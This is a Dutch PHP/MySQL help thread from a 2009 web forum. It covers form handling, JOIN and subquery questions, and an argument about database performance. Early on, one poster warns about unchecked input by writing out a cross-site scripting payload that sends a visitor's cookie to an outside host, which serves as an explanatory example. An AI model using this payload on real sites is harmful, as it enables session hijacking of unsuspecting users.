      zondag 22 maart 2009 @ 13:58:42 #58
    75592 GlowMouse
    l'état, c'est moi
    pi_67292308
    1. Ja dat, en dan aan het begin van je script een keer aanroepen en die verbinding dan in de rest van je script gebruiken. Eventueel later kun je je eigen db-klasse shrijven.
    2. ja, bij mysql gaat connecten toch snel.
    5. klopt, en je hebt ook nog $_COOKIE.
    6. Nee hangt niet samen. Input moet je altijd controleren. Zie oa. ook discussies over SQL injection. Wat als ik nu spelers_edit.php?spelers_id="><script language="JavaScript">document.write('<img src="http://mijnsite.com/?cookie' + document.cookie . '</img');</script> door jou laat aanklikken? Dan heb ik je cookie.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
      zondag 22 maart 2009 @ 13:59:09 #59
    75592 GlowMouse
    l'état, c'est moi
    pi_67292318
    quote:
    Op zondag 22 maart 2009 13:57 schreef jakees het volgende:

    [..]

    heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
    Nee, heb je een linkje?
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67292404
    quote:
    Op zondag 22 maart 2009 13:59 schreef GlowMouse het volgende:

    [..]

    Nee, heb je een linkje?
    nee ik werk alleen lokaal nog. Site is nog niet up zeg maar. Als ik in mijn spelers_edit.php
    1<?php echo $spelers_voornaam?>; 
    aanroep dan krijg ik geen resultaat. Het gekke is dat het wegschrijven wel goed gaat. De regel waar het ondermeer misgaat:
    1<input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
      zondag 22 maart 2009 @ 14:05:21 #61
    75592 GlowMouse
    l'état, c'est moi
    pi_67292509
    Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
    Je post begrijp ik niet.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67294491
    quote:
    Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
    Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
    Je post begrijp ik niet.
    ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
    pi_67302447
    quote:
    Op zondag 22 maart 2009 15:04 schreef jakees het volgende:

    [..]

    ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
    Dan moet je je variablen vullen door middel van een database query, niet met een GET request.
    pi_67312232
    quote:
    Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
    en dat moet je afsluiten met een puntkomma.
    <?= $bla ?> werkt prima zonder ; hoor (idem voor het langere <?php echo $bla ?>)
      maandag 23 maart 2009 @ 00:53:25 #65
    56176 Catch22-
    Ben je Blind?!
    pi_67312437
    misschien een idee om wat links naar basic tutorials neer te plempen in de OP? Ik zie hier steeds vaker vragen voorbijkomen, dat ik denk; wat weet je meer van php dan de wijze waarop je het spelt?
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67314401
    Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
    pi_67314456
    quote:
    Op maandag 23 maart 2009 08:39 schreef Roy_T het volgende:
    Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
    Eensch. Daarnaast zou een topic voor de wat meer onderlegde PHP-ers onder ons geen kwaad kunnen.
      maandag 23 maart 2009 @ 08:53:07 #68
    56176 Catch22-
    Ben je Blind?!
    pi_67314638
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67314676
    quote:
    Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Eens. De ingewikkeldere vragen zijn leuker dan de 'help, ik heb iets gejat en het werkt niet' vragen.
      maandag 23 maart 2009 @ 11:20:34 #70
    187069 slacker_nl
    Sicko pur sang
    pi_67318158
    quote:
    Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Niemand verplicht je om vragen te beantwoorden, als jij ergens een vraag ziet waarvan je denkt, dat ga ik niet beantwoorden, doe het vooral ook niet.
    In theory there is no difference between theory and practice. In practice there is.
      maandag 23 maart 2009 @ 11:45:03 #71
    56176 Catch22-
    Ben je Blind?!
    pi_67318981
    Nee dat is waar, maar misschien als we wat goeie tutorials (ook mbt debuggen) neerzetten, dan kan men die eerst doornemen.

    Straks heb je hier een helpdesk met het nivo van 'plemp je codeblock hier neer en een nerd die lost het probleem wel'
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
      maandag 23 maart 2009 @ 12:06:39 #72
    187069 slacker_nl
    Sicko pur sang
    pi_67319728
    Op zich is dat ook niet erg, denk dat deze reeks ook daardoor zo succesvol is geworden, mensen kunnen hier gewoon hun PHP vragen kwijt, hoe simpel deze ook mogen zijn voor de PHP veteraan.

    En het komt ook voor dat nav een simpele vraag de veteranen gaan lopen lullen of X methode beter is dan Y methode. Ik ben niet zo bang dat dit een helpdesk topic wordt, dat stadium hebben we allang bereikt
    In theory there is no difference between theory and practice. In practice there is.
      maandag 23 maart 2009 @ 12:39:43 #73
    56176 Catch22-
    Ben je Blind?!
    pi_67320794
    dan nog is het niet erg om even een aantal tutorials te noemen in de OP
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
      maandag 23 maart 2009 @ 13:11:24 #74
    187069 slacker_nl
    Sicko pur sang
    pi_67321756
    Daar heb ik ook geen problemen mee hoor
    In theory there is no difference between theory and practice. In practice there is.
    pi_67347039
    http://www.fluffycat.com/PHP-Design-Patterns/ <-- design patterns, ook handig voor in de OP.
    pi_67360442
    Ik ben bezig om voor mijn stage een opdracht uit te voeren, waar de it mannen aldaar ook niet uit komen. Ik heb ze gevraagd om hulp, maar zij raadden me aan een forum te bezoeken en daar hulp te vragen. Vandaar dat ik dus weer hier een vraag post. Hier is het probleem.

    We zijn bezig om een programma te ontwikkelen waarin specialiteiten in kaart worden gebracht. In principe gaat het om matchen van wensen van de gebruiker met de medewerkers die beschikken over specialiteiten. Ik wil met 1 query de matchende medewerkers uit de database halen die beschikt over meerdere tabellen. Er zijn meerdere systemen die gebruik maken van de database dus een mutatie is geen optie. Voor mijn voorbeelden heb ik andere database veldnamen gebruikt.

    Tabel structuur
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    -----------
    Werknemers
    -----------
    id
    name
    [meer info]

    ------------------
    specialiteiten
    ------------------
    werknemer_id
    specialiteit_naam
    waarde
    ------------------



    Tabel inhoud
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    ------------
    werknemers
    ------------
     1 - Mark
    23 - Pieter
    45 - Hans
    54 - Willem

    --------------------------------------
    specialiteiten
    --------------------------------------
     1 - OperatingSystems - Windows
     1 - OperatingSystems - Linux
     1 - ProgrammingLanguages - PHP
    23 - OperatingSystems - MAC
    23 - ProgrammingLanguages - ASP
    45 - ProgrammingLanguages - JavaScript
    45 - ProgrammingLanguages - PHP
    45 - ProgrammingLanguages - ASP.NET
    54 - OperatingSystems - Windows
    54 - ProgrammingLanguages - ASP.NET
    --------------------------------------


    Op deze tabellen run ik de volgende query:

    Deze werkt niet:
    1
    2
    3
    4
    5
    SELECT w.* 
    FROM werknemers w, specialiteiten s 
    WHERE w.id = s.werknemer_id 
    AND (s.specialiteit_naam = 'OperatingLanguages' AND s.waarde IN ('Windows', 'Mac')) 
    AND (s.specialiteit_naam = 'ProgrammingLanguages' AND s.waarde IN ('ASP', 'PHP')) 


    Deze werkt wel:
    1
    2
    3
    4
    SELECT w.* 
    FROM werknemers w, specialiteiten s 
    WHERE w.id = s.werknemer_id 
    AND (s.specialiteit_naam = 'OperatingLanguages' AND s.waarde IN ('Windows', 'Mac')) 


    Maar hij moet uitgebreider, zoals in het eerste voorbeeld. Hoe formuleer in de query correct?
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
    pi_67360934
    Wat moet uitgebreider? Wat wil je precies uit je database laten rollen? Je huidige queries zijn overigens erg slordig, probeer met (LEFT / RIGHT OUTER) JOINs te werken waar het mogelijk is in plaats van 2 hele tabellen leeg te trekken en daar vervolgens een filtering op toe te passen.
    pi_67360955
    ('ASP', 'PHP')) moet dat niet ('ASP.NET', 'PHP')) zijn?
    pi_67361146
    quote:
    Op dinsdag 24 maart 2009 16:08 schreef Tuvai.net het volgende:
    Wat moet uitgebreider? Wat wil je precies uit je database laten rollen? Je huidige queries zijn overigens erg slordig, probeer met (LEFT / RIGHT OUTER) JOINs te werken waar het mogelijk is in plaats van 2 hele tabellen leeg te trekken en daar vervolgens een filtering op toe te passen.
    De namen van de medewerkers die kunnen werken met Windows en MAC én gespecialiseerd zijn in PHP en ASP wil ik er uit halen..

    Gaat het werken wanneer ik left/right/inner joins ga gebruiken? Nooit gedaan namelijk...
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
      dinsdag 24 maart 2009 @ 16:19:10 #80
    46383 Tiemie
    sowieso wel!
    pi_67361284
    quote:
    Op dinsdag 24 maart 2009 16:15 schreef markiemark het volgende:

    [..]

    De namen van de medewerkers die kunnen werken met Windows en MAC én gespecialiseerd zijn in PHP en ASP wil ik er uit halen..

    Gaat het werken wanneer ik left/right/inner joins ga gebruiken? Nooit gedaan namelijk...
    Je voorbeeld-data voldoet niet aan je where. Daarom krijg je 0 results.

    Je doet een WHERE namelijk op 1 row en er is geen row die op beide matched.
    pi_67361334
    quote:
    Op dinsdag 24 maart 2009 16:19 schreef Tiemie het volgende:

    [..]

    Je voorbeeld-data voldoet niet aan je where. Daarom krijg je 0 results.

    vind zelf onderstaande netter.
    [ code verwijderd ]


    Thnx! Hier ga ik ff mee aan de slag!
    Amsterdam, stad van hash en coke,
    Waar de vrouwen zich vrouwelijk gedragen..
    En de mannen ook..
      dinsdag 24 maart 2009 @ 16:22:49 #82
    46383 Tiemie
    sowieso wel!
    pi_67361423
    quote:
    Op dinsdag 24 maart 2009 16:20 schreef markiemark het volgende:

    [..]

    Thnx! Hier ga ik ff mee aan de slag!
    zie edit
    pi_67361430
    Voorbeeldje om namen op te halen van mensen die gespecialiseerd zijn in OperatingSystem Windows:

    1
    2
    3
    4
    5
    6
    7
    8
    SELECT
        w.Naam
    FROM
        medewerkers w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        s.specialiteit_naam = 'OperatingSystems' AND
        s.waarde = 'Windows'

    OF
    1
    2
    3
    4
    5
    6
    7
    8
    SELECT
        w.Naam
    FROM
        specialiteiten s LEFT OUTER JOIN
            werknemers w ON w.id = s.werknemer_id
    WHERE
        s.specialiteit_naam = 'OperatingSystems' AND
        s.waarde = 'Windows'


    Kort samengevat: Met een LEFT OUTER JOIN ga je vanuit de 'diepere' tabel werken, met RIGHT OUTER JOIN ga je vanuit de bovenliggende tabel werken. Voor de rest is het in jouw geval simpelweg met de WHERE clausule spelen om de goede filtering toe te passen.
      dinsdag 24 maart 2009 @ 16:33:11 #84
    56176 Catch22-
    Ben je Blind?!
    pi_67361847
    He?

    Sla je nu in een aparte tabel een specialiteit op met een id, naam en waarde?

    Ik zou dit toch anders oplossen. Het liefst een tussenentiteit (de kans is groot dat je ooit meerdere specialiteiten wil kunnen toekennen aan iemand) of een veld in de werknemer.
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67361952
    quote:
    Op dinsdag 24 maart 2009 16:33 schreef Catch22- het volgende:
    He?

    Sla je nu in een aparte tabel een specialiteit op met een id, naam en waarde?

    Ik zou dit toch anders oplossen. Het liefst een tussenentiteit (de kans is groot dat je ooit meerdere specialiteiten wil kunnen toekennen aan iemand) of een veld in de werknemer.
    Dat sowieso. Een specialiteiten tabel, een gebruikers tabel en een koppeltabel tussen die 2 is voldoende, meerdere vermeldingen in die koppeltabel -> meer specialiteiten.
      dinsdag 24 maart 2009 @ 16:39:09 #86
    56176 Catch22-
    Ben je Blind?!
    pi_67362097
    Juist. En het kan nu voor komen dat je bij een entry 'OperatingSystems' hebt, en 'Operating Systems' en 'Opareating systems'. Die zal je niet bijelkaar kunnen rapen.

    Dus, normaliseren!
    Heel veel groetjes, Catch22
    En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
    Met GHB nooit meer nee
    Storneren een optie?
    pi_67362248
    quote:
    Op dinsdag 24 maart 2009 16:39 schreef Catch22- het volgende:
    Juist. En het kan nu voor komen dat je bij een entry 'OperatingSystems' hebt, en 'Operating Systems' en 'Opareating systems'. Die zal je niet bijelkaar kunnen rapen.

    Dus, normaliseren!
    pi_67364251
    En wat Catch22 en Scorpie zeggen inderdaad. Zulke veel voorkomende 'stringetjes' elke keer textueel opslaan is vragen om problemen en invoerfouten (en op z'n beurt dus ook filter/selectiefouten).
    pi_67365151
    heb een mysql vraagje, je waarschijnelijk simpel maar ik snap het niet

    ik heb een query om de laatste twee reacties uit een fotoboek te halen, klinkt heel simpel. Nu wil ik echter dat het niet twee reacties op de zelfde foto zijn, dus doe ik groep by foto. Nu heb geeft die dus de laatste twee foto's waar een EERSTE reactie op is geplaatst, als er al eerder op die foto is gereageert is die datum bij die groep dus te oud.

    ik gebruik nu
    1
    2
    3
    4
    5
    SELECT * 
    FROM fotoboek_comments
    GROUP BY foto
    ORDER BY datum DESC 
    LIMIT 0 , 2

    wie weet hoe de laatste twee reacties krijg waar de foto's dus niet het zelfde bij zijn.

    mocht het niet duidelijk zijn even een voorbeeldje

    foto1 - reactie 3 <- wil dus deze foto met reactie als eerste
    foto1 - reactie 2
    foto2 - reactie 2 <- en deze foto met reactie als tweede
    foto2 - reactie 1 <- krijg deze als eerste
    foto3 - reactie 1 <- krijg deze als twee
    foto1 - reactie 1

    weet niet of het duidelijker wordt zo maar hoop dat iemand me kan helpen
      dinsdag 24 maart 2009 @ 18:33:23 #90
    75592 GlowMouse
    l'état, c'est moi
    pi_67365577
    Je wilt reacties waarvan id (of tijd) gelijk is aan het maximum id (of tijd) bij die persoon. Dat kun je in je WHERE zetten met een mooie subquery. De performance met jouw datamodel is wel om te janken.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67365802
    Hallo allemaal,

    Ik weet niet of ik hier goed zit, maar ik probeer van alles maar kom er maar niet uit.(ben ook maar een beginneling )
    Ik ben bezig met een chatsite met cam's, nu zou ik graag foto's van de cam's op de hoofdpagina zetten en als ze daar op klikken dat ze in die chat-kamer uitkomen.
    nu heb ik al een chat met cam waarbij automatisch foto's worden gemaakt om de zoveel tijd en op de hoofdpagina kan zetten, alleen nu komt het probleem: deze foto's blijven staan, dus als de chatkamer vrij is blijft de foto van de laatste chatter staan en ziet niemand dat die chatkamer vrij is.
    ik zou daar dan liever een plaatje hebben staan waarop staat dat de room vrij is...

    De chatkamers staat op een andere server en ik gebruik ze in een inframe, dus mijn vraag is of er een php code is om te zien of iemand anders die pagina al open heeft?
    dus dat het script weet of iemand anders die pagina (waarin het inframe zit voor de chat) open heeft
    dus op de hoofdpagina de foto van de cam gebruikt als iemand de pagina open heeft en een "chat open" plaatje als niemand die pagina open heeft?
    SPOILER
    Om spoilers te kunnen lezen moet je zijn ingelogd. Je moet je daarvoor eerst gratis Registreren. Ook kun je spoilers niet lezen als je een ban hebt.
    dit ga ik nog even aan de binnekant van mij ogen bekijken
      dinsdag 24 maart 2009 @ 18:44:00 #92
    75592 GlowMouse
    l'état, c'est moi
    pi_67365841
    Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67365925
    quote:
    Op dinsdag 24 maart 2009 18:44 schreef GlowMouse het volgende:
    Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
    Ik kan niet zien wanneer het plaatje aangepast is helaas
    dit ga ik nog even aan de binnekant van mij ogen bekijken
      dinsdag 24 maart 2009 @ 18:48:14 #94
    187069 slacker_nl
    Sicko pur sang
    pi_67365981
    quote:
    Op dinsdag 24 maart 2009 18:19 schreef qwox het volgende:
    heb een mysql vraagje, je waarschijnelijk simpel maar ik snap het niet
    SELECT distinct(id), date, comment FROM `fotoboek_comments` order by date limit 0,2

    Die distinct zorgt ervoor dat je geen dubbele fotoid's hebt in je resultset. De overige zooi lijkt me voor zichzelf spreken.

    [ Bericht 16% gewijzigd door slacker_nl op 24-03-2009 18:53:59 ]
    In theory there is no difference between theory and practice. In practice there is.
      dinsdag 24 maart 2009 @ 18:55:38 #95
    187069 slacker_nl
    Sicko pur sang
    pi_67366214
    quote:
    Op dinsdag 24 maart 2009 18:33 schreef GlowMouse het volgende:
    De performance met jouw datamodel is wel om te janken.
    Onderbouwde uitspraak, vooral omdat je z'n datamodel ook zo goed kan achterhalen bij het zien van 1 SQL statement..
    In theory there is no difference between theory and practice. In practice there is.
      dinsdag 24 maart 2009 @ 18:59:23 #96
    75592 GlowMouse
    l'état, c'est moi
    pi_67366349
    quote:
    Op dinsdag 24 maart 2009 18:48 schreef slacker_nl het volgende:

    [..]

    SELECT distinct(id), date, comment FROM `fotoboek_comments` order by date limit 0,2
    Ziet er leuk uit, maar wekt niet. DISTINCT gaat over een rij.
    quote:
    Op dinsdag 24 maart 2009 18:55 schreef slacker_nl het volgende:

    [..]

    Onderbouwde uitspraak, vooral omdat je z'n datamodel ook zo goed kan achterhalen bij het zien van 1 SQL statement..
    Daar heb ik voor geleerd. Met dit datamodel krijgt hij die query onmogelijk snel tenzij er slechts een beperkt aantal records in de tabel zit.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67366603
    ik heb niet doorgeleerd in mysl en database modelen.

    Ik snap ook weinig van
    quote:
    Je wilt reacties waarvan id (of tijd) gelijk is aan het maximum id (of tijd) bij die persoon. Dat kun je in je WHERE zetten met een mooie subquery. De performance met jouw datamodel is wel om te janken.
    Wat bedoel je met een subquery by where
    pi_67366609
    Ik heb eigenlijk een aantal vragen die met elkaar te maken hebben:
    1.
    http://www.sintjoris.sghetplein.nl/Roosters/klas/menu.htm
    Dit is een grote tabel waar ik eigenlijk maar 2 dingen uit moet zien te vissen. De inhoud van de 2e kolom. Ik wil de tekst die er staat én de link die erachter zit. Deze wil ik daarna weer in een andere tabel stoppen. Hoe moet ik dat gaan parsen?

    2.
    Later eventueel in MySQL stoppen, duurt het lang om per entry 2 waardes uit een mysql table te halen? Niet heel erg lang toch?

    3.
    Ik wil een search box maken die een lijst begint te filteren zodra je begint met typen. Ik kan zo snel geen voorbeeld vinden, maar je snapt het denk ik wel. Type-ahead heet het volgensmij. Hoe krijg je dat dan voor elkaar met een MySQL table?
      dinsdag 24 maart 2009 @ 19:10:56 #99
    75592 GlowMouse
    l'état, c'est moi
    pi_67366752
    quote:
    Op dinsdag 24 maart 2009 19:06 schreef qwox het volgende:
    [..]

    Wat bedoel je met een subquery by where
    Je kunt bijvoorbeeld zeggen: WHERE id = (SELECT max(id) FROM fotoboek_comments WHERE ...)

    Flaccid:
    1. Domtree of regex, kies maar
    2. Wat is per entry? je wilt van élk record 2 velden? Dat is snel maar je moet geen duizenden records hebben.
    3. Zoek eens op xmlHttpRequest, er komt wat JavaScript en PHP bij kijken
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67367197
    Welk pattern gebruiken jullie om objecten aan te maken binnen jullie applicatie? Voor domain objecten lijkt mij een DomainObjectFactory class handig, die elke keer 1 instantie van een object retourneert?

    Of gebruiken jullie een generieke oplossing voor al jullie objecten?
      dinsdag 24 maart 2009 @ 19:26:07 #101
    75592 GlowMouse
    l'état, c'est moi
    pi_67367274
    quote:
    Op dinsdag 24 maart 2009 19:24 schreef Scorpie het volgende:
    Welk pattern gebruiken jullie om objecten aan te maken binnen jullie applicatie? Voor domain objecten lijkt mij een DomainObjectFactory class handig, die elke keer 1 instantie van een object retourneert?

    Of gebruiken jullie een generieke oplossing voor al jullie objecten?
    PHP/MySQL?
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67367343
    quote:
    Op dinsdag 24 maart 2009 19:26 schreef GlowMouse het volgende:

    [..]

    PHP/MySQL?
    Ik heb het over design patterns voor mijn project in PHP, zie ook http://www.fluffycat.com/PHP-Design-Patterns, zulke patterns heb ik het over. Wilde eens wat ervaringen polsen.
    pi_67367863
    quote:
    Op dinsdag 24 maart 2009 19:10 schreef GlowMouse het volgende:

    [..]

    Je kunt bijvoorbeeld zeggen: WHERE id = (SELECT max(id) FROM fotoboek_comments WHERE ...)

    Flaccid:
    1. Domtree of regex, kies maar
    2. Wat is per entry? je wilt van élk record 2 velden? Dat is snel maar je moet geen duizenden records hebben.
    3. Zoek eens op xmlHttpRequest, er komt wat JavaScript en PHP bij kijken
    1. Ik snap even niet.
    2. Ja ik kan even niet op die term in een mysql table komen. Gewoon zo'n rij in een mysql table.
    3. Ik dacht dat het wel snel te doen was, maar dat valt tegen.
      dinsdag 24 maart 2009 @ 19:59:14 #104
    187069 slacker_nl
    Sicko pur sang
    pi_67368442
    quote:
    Op dinsdag 24 maart 2009 18:59 schreef GlowMouse het volgende:

    [..]

    Ziet er leuk uit, maar wekt niet. DISTINCT gaat over een rij.
    Hoezo zou het niet werken? Werkt bij mij anders perfect...
    quote:
    Daar heb ik voor geleerd. Met dit datamodel krijgt hij die query onmogelijk snel tenzij er slechts een beperkt aantal records in de tabel zit.
    Knappe studiebol ben je dat je aan de hand van 1 table kan zien hoe zijn datamodel eruit ziet. Jij hebt zeker de glazen bol gejat die iedereen mist (zie OP).
    In theory there is no difference between theory and practice. In practice there is.
    pi_67368445
    ik heb me probleem weten op de lossen met een subquery, volgens mij is die niet optimaal maar dat maakt niet uit.
    Het is een script op de website van een studentenvereniging, ik weet 100% zeker dat er slechtere code te vinden is op die site.

    bedankt voor de hulp
      dinsdag 24 maart 2009 @ 20:04:19 #106
    187069 slacker_nl
    Sicko pur sang
    pi_67368613
    quote:
    Op dinsdag 24 maart 2009 19:59 schreef qwox het volgende:
    ik heb me probleem weten op de lossen met een subquery, volgens mij is die niet optimaal maar dat maakt niet uit.
    Het is een script op de website van een studentenvereniging, ik weet 100% zeker dat er slechtere code te vinden is op die site.

    bedankt voor de hulp
    Uit nieuwsgierigheid, wat is je query en waar kunnen we het resultaat zien?
    In theory there is no difference between theory and practice. In practice there is.
      dinsdag 24 maart 2009 @ 23:48:16 #107
    230337 bassiedekloon
    allemamaggies
    pi_67377722
    quote:
    Op dinsdag 24 maart 2009 18:44 schreef GlowMouse het volgende:
    Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
    thanks, je hebt me op een idee gebracht die ook nog werkt..
    het is niet super maar werkt wel goed
    dit ga ik nog even aan de binnekant van mij ogen bekijken
    pi_67382010
    quote:
    Op dinsdag 24 maart 2009 23:48 schreef bassiedekloon het volgende:

    thanks, je hebt me op een idee gebracht die ook nog werkt..
    het is niet super maar werkt wel goed
    En welk idee is dat?
      woensdag 25 maart 2009 @ 12:36:01 #109
    75592 GlowMouse
    l'état, c'est moi
    pi_67388933
    quote:
    Op dinsdag 24 maart 2009 19:59 schreef slacker_nl het volgende:

    [..]

    Hoezo zou het niet werken? Werkt bij mij anders perfect...
    http://dev.mysql.com/doc/refman/5.1/en/select.html
    En DISTINCT is verder geen bijzondere functie. Ik heb het voor je getest met MySQL 5.0.38 en 5.1.32, maar het werkt gewoon niet.
    quote:
    Knappe studiebol ben je dat je aan de hand van 1 table kan zien hoe zijn datamodel eruit ziet. Jij hebt zeker de glazen bol gejat die iedereen mist (zie OP).
    Daar heb je geen glazen bol voor nodig. Ik zal je de algemene regel schenken: wanneer je wilt sorteren op kolom A en slechts één A wilt bij iedere unieke waarde uit kolom B (met B ongelijk A) dan kan MySQL die query niet efficiënt uitvoeren.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67389286
    quote:
    Op woensdag 25 maart 2009 12:36 schreef GlowMouse het volgende:
    Daar heb je geen glazen bol voor nodig. Ik zal je de algemene regel schenken: wanneer je wilt sorteren op kolom A en slechts één A wilt bij iedere unieke waarde uit kolom B (met B ongelijk A) dan kan MySQL die query niet efficiënt uitvoeren.
    Subqueries zie ik ook liever niet, maar die zijn er niet voor niks. Als de functionaliteit van de applicatie iets vereist dat alleen met subqueries op te lossen is, dan kom je er in sommige gevallen niet onderuit.

    Maar jij bent d'r zeker zo eentje die zo min mogelijk de DB wilt belasten, maar wel databasezaken op applicatieniveau gaat oplossen. Nee dát is efficiënt.
      woensdag 25 maart 2009 @ 13:01:51 #111
    75592 GlowMouse
    l'état, c'est moi
    pi_67389742
    Websites moeten snel zijn omdat dat fijn is voor de gebruikeren omdat je server dan meer bezoekers aan kan. Voor je back-end zijn subqueries minder erg en kunnen ze soms leuke statistieken tevoorschijn toveren.
    Per geval kun je nadenken wat je het beste kunt doen. Soms valt de query iets te herschrijven. Hier is dat niet mogelijk, dus zul je het resultaat moeten cachen.
    Deze query gaat er bij een wat grotere dataset seconden over doen (benchmark: 60+ seconden bij 30k reacties) en dat is onacceptabel. MySQL kan hem slecht cachen omdat de reactietabel vaak geüpdatet wordt. Dus dan moet je applicatie maar helpen.
    eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
    pi_67390065
    Sorry, maar dat is geen haar beter. Ik vind het altijd lullig om te zien wanneer mensen keurige, semantische websites opzetten (inhoud in de HTML, opmaak in de CSS, unobtrussive Javascript apart, enzovoorts) onder het mom van 'zaken neerleggen waar ze horen', maar vervolgens achteliggende broncode hebben waar je van gaat janken. In de regel vaak hele goede programmeurs die enkel op PHP / ASP gefocused zijn maar geen flauw benul van SQL hebben, of té gemakzuchtig zijn in hun backend.

    In bovenstaand voorbeeld verbeter je de performance van een functionaliteit niet, je verlegt de belasting die er door plaats vindt alleen maar, nota bene naar een plek waar het niet eens hoort. Lappen aan SQL scripts in codefiles / codebehinds is een ranzige gewoonte. En dan vooral wanneer er (weer eens) iets in de databasestructuur van de betreffende applicatie moet veranderen, en allerlei vage bestanden met hardcoded queries moet gaan doorzoeken.

    Sowieso is je voorbeeld erg overdreven. Op iets eenvoudigs als een reactie-tabel, kun je toch snelle queries draaien waar subqueries in zitten. Sowieso haal je in geval van reacties altijd maar een bepaald aantal op (hee, LIMIT ), en zit er in die reactie-tabel een veld dat verwijst naar de bovenliggende tabel (hee, een INDEX ). Als er honderdduizenden records in die reactie tabel zitten dan zal die ietsjes langzamer zijn dan wanneer er maar 10 records in zitten, maar 60+ seconden? Kom op zeg.

    Ik geef je eens een ander voorbeeld. Stel je hebt een webshop met rubrieken. Die rubrieken zijn dusdanig opgezet dat je onbeperkt diep child-rubrieken kunt aanmaken onder bestaande rubrieken. Van elke rubriek wil je het actuele aantal producten in diezelfde rubriek en diens onderliggende rubrieken hebben. Hoe zou jij dat oplossen?

    [ Bericht 3% gewijzigd door Tuvai.net op 25-03-2009 13:30:30 ]
    pi_67390084
    Caching anyone? Ik gebruik regelmatig subqueries, maar dit geldt voor alle soorten queries, etc: het is onzin om ze voor een high traffic app bij iedere request uit te voeren. Het resultaat cachen kan vrijwel altijd.

    En voor een low traffic site is het helemaal niet interessant, want dan staat je DB-server ook met zwaarde queries uit zijn neus te vreten.
    pi_67390616
    quote:
    Op woensdag 25 maart 2009 13:01 schreef GlowMouse het volgende:
    Websites moeten snel zijn omdat dat fijn is voor de gebruikeren omdat je server dan meer bezoekers aan kan. Voor je back-end zijn subqueries minder erg en kunnen ze soms leuke statistieken tevoorschijn toveren.
